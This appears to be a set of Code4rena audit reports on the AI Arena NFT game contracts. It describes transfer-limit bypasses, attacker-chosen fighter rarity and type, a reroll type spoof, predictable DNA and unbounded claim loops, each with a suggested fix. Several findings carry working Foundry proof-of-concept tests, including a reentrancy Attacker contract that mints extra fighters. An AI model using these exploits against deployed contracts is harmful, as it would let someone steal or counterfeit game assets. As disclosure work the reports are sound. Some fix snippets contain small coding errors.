AI Arena - BARW's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L348 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355-L365 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4e7e6e54daedf091d91f2f2df024cbb8f253e2ef/contracts/token/ERC721/ERC721.sol#L159-L162

Vulnerability details

Impact

In FighterFarm the constant MAX_FIGHTERS_ALLOWED is set to 10 and determines the maximal number of fighters one address is allowed to hold. This limitation can be bypassed by calling the function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data). The function was inharited by the FighterFarmContract through ERC721 but was not overwritten to be gated by the check _ableToTransfer like the other two transfer functions. _ableToTransfer checks if an address already holds 10 fighters before transferring a fighter to an address.

The fact that one can hold more than 10 fighters at one address allows for smurfing via rotating through fighters at a large scale, which the limit is supposed to prevent.

Proof of Concept

The following working POC can be copied to FightFarm.t.sol and run with forge test -vvv -mt testMoreThan10FightersPerWallet.

<details> <summary>POC</summary>

function testMoreThan10FightersPerWallet() public {
    //mint 10 fighters to one address
    for (uint8 i = 0; i < 10; i++) {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(100)]);
    }

    uint256 fightersOwned = _fighterFarmContract.balanceOf(_ownerAddress);
    console.log("Fighters owned by ownerAddress", fightersOwned);
    
    //create a new address to mint the 11th fighter to 
    address alice = vm.addr(1);
    vm.prank(address(_mergingPoolContract));
    _fighterFarmContract.mintFromMergingPool(alice, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    
    //transfer the 11th fighter to the owner address
    vm.prank(alice);
    _fighterFarmContract.safeTransferFrom(alice, _ownerAddress, 10,"");
    
    fightersOwned = _fighterFarmContract.balanceOf(_ownerAddress);
    console.log("Fighters owned by ownerAddress after transfer", fightersOwned);

    assertEq(fightersOwned, 11, "Owner should have 11 fighters");

}

</details>

Tools Used

Manual review, foundry

Recommended Mitigation Steps

Overwrite the function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) and gate it with the _ableToTransfer check to ensure that an address can only hold 10 fighters.

    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) 
         public override(ERC721, IERC721){
	require(_ableToTransfer(tokenId, to));
             transferFrom(from, to, tokenId);
             ERC721Utils.checkOnERC721Received(_msgSender(), from, to, tokenId, data);
    }

Assessed type

ERC721

Lines of code

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/141c947921cc5d23ee1d247c691a8b85cabbbd5d/contracts/token/ERC1155/ERC1155.sol#L120-L132

Vulnerability details

Impact

In GamingItems, every item has the property transferable which determines if an item should be transferable or not. If the property is set to false, the user should not be able to transfer the item to another user. This can be bypassed by calling the function saveBatchTransferFrom which was inherited from ERC1155 but not overwritten, rendering the transferable property of items useless.

Proof of Concept

The following working POC can be copied to GameItems.t.sol and run with forge test -vvv -mt testItemsCanAlwaysBeTransfered:

<details> <summary>POC</summary> function testItemsCanAlwaysBeTransfered() public { address newPlayer1 = makeAddr("newPlayer"); address newPlayer2 = makeAddr("newPlayer2");

//create item that should not be transferable
_gameItemsContract.createGameItem("NotTransfarable", "https://ipfs.io/ipfs/", true, false, 10_000, 0, 10);

vm.startPrank(newPlayer1);
_gameItemsContract.mint(1, 1);

uint256 balanceNewPlayer1 = _gameItemsContract.balanceOf(newPlayer1, 1);
console.log("Balance of item 1 of newPlayer1: ", balanceNewPlayer1);
uint256 balanceNewPlayer2 = _gameItemsContract.balanceOf(newPlayer2, 1);
console.log("Balance of item 1 of newPlayer2: ", balanceNewPlayer2);


//should revert since item is not transfarable
vm.expectRevert();
_gameItemsContract.safeTransferFrom(newPlayer1, newPlayer2, 1, 1, "");

uint256[] memory itemId = new uint256[](1);
itemId[0] = 1;
uint256[] memory amount = new uint256[](1);
amount[0] = 1;

//transfer is possible with `safeBatchTransferFrom`
_gameItemsContract.safeBatchTransferFrom(newPlayer1, newPlayer2, itemId, amount, "");

balanceNewPlayer1 = _gameItemsContract.balanceOf(newPlayer1, 1);
console.log("Balance of item 1 of newPlayer1 after transfer: ", balanceNewPlayer1);
balanceNewPlayer2 = _gameItemsContract.balanceOf(newPlayer2, 1);
console.log("Balance of item 1 of newPlayer2 after transfer: ", balanceNewPlayer2);

assertEq(balanceNewPlayer1, 0, "Balance of new player should be 0");
assertEq(balanceNewPlayer2, 1, "Balance of owner should be 1");
}

</details>

Tools Used

Manual review, foundry

Recommended Mitigation Steps

Overwrite the function _update which is finally responsible for the transfer of the items and check if the items provided as arguments should be transferable before transferring them:

function _update(address from, address to, uint256[] memory ids, uint256[] memory values) internal overwrite(ERC1155) {
        if (ids.length != values.length) {
            revert ERC1155InvalidArrayLength(ids.length, values.length);
        }

        address operator = _msgSender();

        for (uint256 i = 0; i < ids.length; ++i) {
		
            uint256 id = ids.unsafeMemoryAccess(i);
+ 	        require(allGameItemAttributes[tokenId].transferable)
            uint256 value = values.unsafeMemoryAccess(i);

            if (from != address(0)) {
                uint256 fromBalance = _balances[id][from];
                if (fromBalance < value) {
                    revert ERC1155InsufficientBalance(from, fromBalance, value, id);
                }
                unchecked {
                    // Overflow not possible: value <= fromBalance
                    _balances[id][from] = fromBalance - value;
                }
            }

            if (to != address(0)) {
                _balances[id][to] += value;
            }
        }

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L484-L531 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121

Vulnerability details

Impact

For each of the six body parts of the fighter (head, eyes, mouth, body, hands, feet) there are different variations (e.g “brown eyes”, “blue eyes”). Each variation has a rarity assigned to it meaning that some variations of a part should be seen more often than others. The problem is that when creating a new fighter by calling FighterFarm:redeemMintPass(), a user who owns a mint pass can call the function directly and set the DNA variable that is used in the deterministic calculation of the parts freely. This means the user can set the DNA according to the outcome of parts that he desires rendering the rarities useless. Since the looks of an NFT can be a significant part of the price users are willing to pay for it, being able to mint a specific part poses a significant advantage for “hackers” compared to the normal user who did not read the smart contract.

Proof of Concept

The initial champions for the game are minted from MintPasses. To redeem a mintpass, the user calls FighterFarm:redeemMintPass() and provides, beside other things, the mintPassDna to use for the creation of the champion. After some checks the mintPass is burned and the function _createNewFighter is called using the variables provided by the user. One of these variables is the mintPassDna that is encoded, hashed and cast to a uint256:

uint256(keccak256(abi.encode(mintPassDnas[i])))

During the creation of the new fighter, the encoded and hashed DNA is used in the function createPhysicalAttributes to create the looks of the fighter.

The DNA is used to determine the rarityRank of each of the 6 parts (head, eyes, mouth, body, hands, feet) by dividing it through a predetermined attributeToDnaDivisor and setting the raretyRank to the remainer after dividing it by 100:

uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;

This rarityRank is then converted to the attributeIndex by calling the function dnaToIndex. The calculation of the attributeIndex is done my using predetermined attrProbabilities:

    function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute) 
        public 
        view 
        returns (uint256 attributeProbabilityIndex) 
    {
        uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute);
        
        uint256 cumProb = 0;
        uint256 attrProbabilitiesLength = attrProbabilities.length;
        for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
            cumProb += attrProbabilities[i];
            if (cumProb >= rarityRank) {
                attributeProbabilityIndex = i + 1;
                break;
            }
        }
        return attributeProbabilityIndex;
    }

The attributeIndex represents the version of the body part the fighter will have e.g. if he will have “brown eyes” or “blue eyes”.

The problem arises from the fact that the user can provide any DNA he wants since there is no check which compares the DNA to e.g. a DNA associated with the minting pass. Since the way the attribueIndex for each part is calculated is visible on the blockchain, the tech savvy user can choose the parts he wants (the rarest once) and precalculated the DNA he needs to provide to get those parts. This renders the whole rarity concept useless and puts normal users in a disadvantage compared to tech savvy users.

The following POC can be added to the file FighterFarm.t.sol. It shows that by adjusting the freely changeable dna, a user can mint a champion with any of the 6 attribueIndexs (only shown for the head).

To be able to run the test, add the following line at the top of the file import { FighterOps } from "../src/FighterOps.sol"; Then run the test by calling forge test -vvv –mt testInfluanceRarityOfPhysicalApirance

<details> <summary>POC</summary>

function testInfluanceRarityOfPhysicalApirance() public { //get mint pass uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string; _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // first i have to mint an nft from the mintpass contract
    assertEq(_mintPassContract.mintingPaused(), false);
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

   
    // once owning one i can then redeem it for a fighter
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    _fighterTypes[0] = 0; //normal champion
    _neuralNetHashes[0] = "neuralnethash";
    _modelTypes[0] = "original";
    _iconsTypes[0] = 0;

    
    vm.startPrank(_ownerAddress);
    // approve the fighterfarm contract to burn the mintpass
    _mintPassContract.approve(address(_fighterFarmContract), 1);
    
    uint256 snapshotId = vm.snapshot();
    //redeem the pass for a normal Champion
    _mintPassDNAs[0] = "52";
    console.log("Pass dna mint1", _mintPassDNAs[0]);
    _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );
    FighterOps.FighterPhysicalAttributes  memory physicalAttributes;
    (,,physicalAttributes,,,,,,) =  _fighterFarmContract.fighters(0);
    uint256 head = physicalAttributes.head;
    console.log("rarityRank mint1", head);

    vm.revertTo(snapshotId);
    //change DNA to use in the redemption of the pass
    _mintPassDNAs[0] = "61";
    console.log("Pass dna mint2", _mintPassDNAs[0]);
     _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes);
    (,,physicalAttributes,,,,,,) =  _fighterFarmContract.fighters(0);
    head = physicalAttributes.head;
    console.log("rarityRank mint2 ", head);

    vm.revertTo(snapshotId);
    //change DNA to use in the redemption of the pass
    _mintPassDNAs[0] = "58";
    console.log("Pass dna mint3", _mintPassDNAs[0]);
     _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );
    (,,physicalAttributes,,,,,,) =  _fighterFarmContract.fighters(0);
    head = physicalAttributes.head;
    console.log("rarityRank mint3", head);

      vm.revertTo(snapshotId);
    //change DNA to use in the redemption of the pass
    _mintPassDNAs[0] = "50";
    console.log("Pass dna mint4", _mintPassDNAs[0]);
     _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );
    (,,physicalAttributes,,,,,,) =  _fighterFarmContract.fighters(0);
    head = physicalAttributes.head;
    console.log("rarityRank mint4", head);

      vm.revertTo(snapshotId);
    //change DNA to use in the redemption of the pass
    _mintPassDNAs[0] = "352";
    console.log("Pass dna mint5", _mintPassDNAs[0]);
     _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );
    (,,physicalAttributes,,,,,,) =  _fighterFarmContract.fighters(0);
    head = physicalAttributes.head;
    console.log("rarityRank mint5", head);

      vm.revertTo(snapshotId);
    //change DNA to use in the redemption of the pass
    _mintPassDNAs[0] = "56";
    console.log("Pass dna mint6", _mintPassDNAs[0]);
     _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );
    (,,physicalAttributes,,,,,,) =  _fighterFarmContract.fighters(0);
    head = physicalAttributes.head;
    console.log("rarityRank mint6", head);

}

</details>

Tools Used

Manual review, foundry

Recommended Mitigation Steps

To fix this issue and make the creation of new fighters fairer for all users consider using a truly random oracle like the LINK VRF to generate a random DNA that is then used for the calculation of the attributeProbabilityIndex. Alternatively the function redeemMintPass() could be only callable by a specific address owned by the project team which determines the DNA from, e.g. an offchain mapping between mintpassID and dna.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L484-L531 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121

Vulnerability details

Impact

There are two types of bots in the game: normal champions and dendroids. According to the documentation dendroids “are very rare and more difficult to obtain”. The issue is that when creating a fighter from a mintPass by calling FighterFarm:redeemMintPass(), the user can freely set the fighter type to be 1 = dendroid and thereby create such a dendroid that is supposed to be rare. This should not be possible with mintPasses since this would make it possible that all fighters created through a mint pass will be dendroids.

Proof of Concept

For dendroids, the bool dendroidBool is set to 1 in the Fighter struct representing them. Following is a POC that can be added to the file FighterFarm.t.sol that shows that it is possible to mint dedroids from mintPasses. To see the results run forge -vvv –mt testDendroidFromMintPass

<details> <summary>POC</summary>

function testDendroidFromMintPass() public { //get mint pass uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked(

hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string; _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // first i have to mint an nft from the mintpass contract
    assertEq(_mintPassContract.mintingPaused(), false);
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

   
    // once owning one i can then redeem it for a fighter
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    _mintPassDNAs[0] = "DNA";
    _fighterTypes[0] = 1; //dendroid
    _neuralNetHashes[0] = "neuralnethash";
    _modelTypes[0] = "original";
    _iconsTypes[0] = 0;

    
    vm.startPrank(_ownerAddress);
    // approve the fighterfarm contract to burn the mintpass
    _mintPassContract.approve(address(_fighterFarmContract), 1);
    
    //redeem the pass for a dendroid ()
    _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );
    bool isDendroid;
    (,,,,,,,,isDendroid) =  _fighterFarmContract.fighters(0);
    console.log("Is dendroid", isDendroid);

}

</details>

Tools Used

Manual review, foundry

Recommended Mitigation Steps

Remove the variable fightertype as an input variable for the function FighterFarm: redeemMintPass() and just set it to 0 = champion when calling _createNewFighter

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121

Vulnerability details

Impact

When redeeming a mintPass for a fighter, only a few mintPasses should be able to provide a value other than 0 for the input variable iconsTypes. The reason is because this value is used to create special physical attributes (body parts) for the fighter reserved to early backer of the project. But since there is no check when calling redeemMintPass() if the mint pass that is redeemed is allowed to use an iconType, every mint pass can use it which breaks the goal of the rare parts, which is to reward early backers.

Proof of Concept

A user can create new fighters when they own a mint pass and call redeemMintPass(). One of the input variables for this function is iconType. During the creation of the physical appearance this variable is used to add one or more rare physical attributes to the fighter like “beta helmet”,” red diamond eyes” or “bowling ball hands”:

                if (
                  i == 0 && iconsType == 2 || // Custom icons head (beta helmet)
                  i == 1 && iconsType > 0 || // Custom icons eyes (red diamond)
                  i == 4 && iconsType == 3 // Custom icons hands (bowling ball)
                )

These rare physical attributes are reserved for early backers of the project and should be very rare.

The issue arises from the fact that there is no check if the redeemed mint pass is supposed to have these rare attributes or not. Meaning every mint pass can freely provide value for iconType and obtain these rare attributes.

Recommended Mitigation Steps

Implement a check if the redeemed minting pass should be allowed to provide a value for iconType other than 0. This can be done by using a merkle tree where each mint pass is one leaves of the tree and the leaves are a hash value of the mint pass Id and the value for iconType this mintpass is allowed to provide.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474

Vulnerability details

Impact

When calling FighterFarm:reRoll(), there is no check if the provided fighterType is the actual fighterType of the tokenId. This allows the user to potentially obtain more rerolles than the tokenId should have. Also it would be possible to obtain an element that the fighter type should not have.

Proof of Concept

If a user is not satisfied with the minting result of his fighter, he can “reRoll” the fighter and get all new stats (element, weight, physical appearance). For the function call, the user needs to provide the tokenId he wants to reroll and the fighterType of the tokenId. The fighterType is used to check if the tokenId can be rerolled once more and also for determining the element of the fighter in the function _createFighterBase:

require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);

uint256 element = dna % numElements[generation[fighterType]];

The issue arises because there is no check if the provided fighterType is really the fighterType of the provided tokenId. This allowes a user to provide a false fighterType and potentially get extra rerolles if the maxRerollsAllowed for the provided fighterType is higher than the maxRerollsAllowed of the real fighterType of his tokenId. Also, if the different fighterTypes turn out to have different elements in the future, this will allow a fighter to abtain an element of an other fighterType.

Recommended Mitigation Steps

To prevent the issues discussed above, only take the tokenID as a user input for the reRoll function and deduct the fighterType from the dendroidBool of the tokenId saved in the fighters mapping.

uint8 fighterType = fighters[tokenId].dendroidBool;

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

There is no protection against reentrancy in the MergingPool.claimRewards function. An attacker can exploit this vulnerability to steal the NFT using the following path: MergingPool.claimRewards -> onERC721Received -> MergingPool.claimRewards.

Proof of Concept

Firstly, add this code at the beginning of test/MergingPool.t.sol

contract Attacker {
    uint256 public  counter ;
    MergingPool public mergingPoolContract;
    constructor(address _mergingPoolContract){
        counter = 0;
        mergingPoolContract = MergingPool(_mergingPoolContract);
    } 
    
    function onERC721Received(address operator, address from, uint256 tokenId,bytes calldata data ) external returns (bytes4) {
        string[] memory _modelURIs = new string[](4);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[3] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](4);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        _modelTypes[2] = "original";
        _modelTypes[3] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](4);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        _customAttributes[2][0] = uint256(1);
        _customAttributes[2][1] = uint256(80);
        _customAttributes[3][0] = uint256(1);
        _customAttributes[3][1] = uint256(80);
        counter += 1;
        console.log("received counter: ", counter);
        if(counter < 10){
            mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Secondly, add this function into MergingPoolTest at test/MergingPool.t.sol.

    function testReentrancy() public {
        Attacker attacker = new Attacker(address(_mergingPoolContract));
        _mintFromMergingPool(address(attacker));
        // _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(0), address(attacker));
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);
        // assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
        // winner matches ownerOf tokenId
        // assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true);
        string[] memory _modelURIs = new string[](4);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[3] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](4);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        _modelTypes[2] = "original";
        _modelTypes[3] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](4);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        _customAttributes[2][0] = uint256(1);
        _customAttributes[2][1] = uint256(80);
        _customAttributes[3][0] = uint256(1);
        _customAttributes[3][1] = uint256(80);

        // winners of roundId 1 are picked
        _mergingPoolContract.pickWinner(_winners);
        // winners of roundId 2 are picked
        _mergingPoolContract.pickWinner(_winners);

        vm.startPrank(address(attacker));

        uint256 balance = _fighterFarmContract.balanceOf(address(attacker));
        console.log("balance before:", balance);
        // winner claims rewards for previous roundIds
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        balance = _fighterFarmContract.balanceOf(address(attacker));
        console.log("balance after:", balance);

        // @audit it should be 4 instead of 7
        assertEq(balance, 7);
    }

Run the test with this command

forge test -vv --mt testReentrancy

Tools Used

Foundry

Recommended Mitigation Steps

Use Openzeppelin ReentrancyGuard

+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

-contract MergingPool {
+contract MergingPool is ReentrancyGuard{

function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
-        external  
+        external nonReentrant
    {

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

Because the custom attributes and merging pool claim rewards can be set freely by the user the user can choose the wait and the element for the new fighter. This allows him to claim a different maybe better fighter than he originally won.

Proof of Concept

Users can win new fighters by sending some of the points they won in a battle to the merging pool. At the end of each round a couple of winners are chosen who can then mint new fighters. To mint new fighters, the user needs to call the function clameRewards and provide the modelURI the modelType and the custom attributes for the new fighter. Because there is no check if the user provided the right inputs when calling the function, the custom attributes can be set freely by the user. Those custom attributes represent the element and the weight of the new fighter. Since those two values determine all of the fighter’s skills, allowing the user to set them freely should not be possible.

Recommended Mitigation Steps

Consider implementing a merkle tree for each round where the leaves are a hash of the relevant values of the fighter a user is supposed to claim (modelURIs, modelType, customAttributes, claimer, roundID when the fighter was won). This way the user can only claim his new fighter when he provides the right values.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L118-L132 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

Because the function pickWinner() don't set numRoundsClaimed[user] = roundId when numRoundsClaimed[user] == 0, all new winners must loop from 0 to the current roundId when claiming their rewards with claimRewards(). As the number for roundID increases further and furthere this will waste a lot of GAS, which may eventually lead to GAS_OUT preventing picked winners to claim their rewards.

Proof of Concept

When MergePool:pickWinner() is called, the winners for the current round are saved in winnerAddresses[roundId]. When a user wants to claim his rewards through MeregePool:claimRewards(), the last round the user has claimed a reward is used as the lower bound for the for loop:

uint32 lowerBound = numRoundsClaimed[msg.sender];

The loop circles through all rounds since the last round the user claimed a reward until it reaches the current roundId.

for(uint32 currentRound = lowerBound; currentRound < roundId; currentRound++)

With each new round, claiming rewards for new winners will consume more and more gas since they have to loop from 0 to the current roundId. When the roundId reaches a larger size, the function will result in out of gas and new winners will not be able to claim their rewards.

Recommended Mitigation Steps

When picking winners in MeregePool:pickWinners, check if the numRoundsClaimed of the user is 0. If so, set the numRoundsClaimed[user] = roundId. For this to work the initial roundId needs to be set to 1 so the winners in the first round don´t loose their price if they win again and did not claim there previous winnings.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L294-L311 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L244-L265

Vulnerability details

Impact

Because the function RankedBattle:stakeNRN() don't set numRoundsClaimed[user] to roundId when numRoundsClaimed[user] == 0, all new users who play for rewards for the first time must loop from 0 to the current roundId when claiming their first NRN rewards with RankedBattle:claimNRN(). As the number of rounds increases further and further, this will waste a lot of GAS, which may eventually lead to GAS_OUT, preventing new players to claim their rewards.

Proof of Concept

When RankedBattle:stakeNRN() is called and users stake NRN for the first time to compete for rewards, the staked NRN are updated. After the round is over and a user wants to claim his rewards through RankedBattle:claimNRN(), the last round the user has claimed NRN is used as a lower bound for a for-loop:

uint32 lowerBound = numRoundsClaimed[msg.sender];

The loop circles through all rounds since the last round the user claimed NRN until it reaches the current roundId:

for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++)

With each new round, claiming rewards for new players will consume more and more gas since they have to loop from 0 to the current roundId. When the roundId reaches a larger size, the function will result in out of gas and new winners will not be able to claim their NRN rewards, practically disincentivising new players to enter the game.

Recommended Mitigation Steps

When staking NRN in RankedBattle:stakeNRN(), check if the numRoundsClaimed of the user is 0. If so, set the numRoundsClaimed[user] = roundId. For this to work the initial roundId needs to be set to 1 so the rewards in the first round do not get lost if the player forgets to claim them before staking NRN again.

Assessed type

Loop

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121

Vulnerability details

Impact

If a user is not satisfied with the minting result of his fighter, he can “reRoll” the fighter and get all new stats (element, weight, physical appearance). The issue is that all those stats are calculated deterministically based on the variable DNA. Since the variable DNA is calculated using the msg.sender, the tokenId and the number of rerolls a token already had, the user can pre calculate the DNA and therefor the result of the reroll. Since he can influence the msg.sender by transferring the fighter to an other address, he can chose the new stats he wants and create them by rerolling from an address that provides the required DNA.

Proof of Concept

When a user calls FighterFarm:reroll() to reroll his fighter, the DNA is determined by encoding and hashing msg.sender, the tokenID and the number of rerolls of the tokenID and then casting it into a uint256:

uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

This DNA is then used to determine the new weight and element as well as the new physical attributes of the fighter.

The problem is that the calculation of the stats mentioned above are based on deterministic formulars which components are visible in the code or can be extracted from the block chain. Following as an example the formulars for the element and the weight:

uint256 element = dna % numElements[generation[fighterType]];

uint256 weight = dna % 31 + 65;

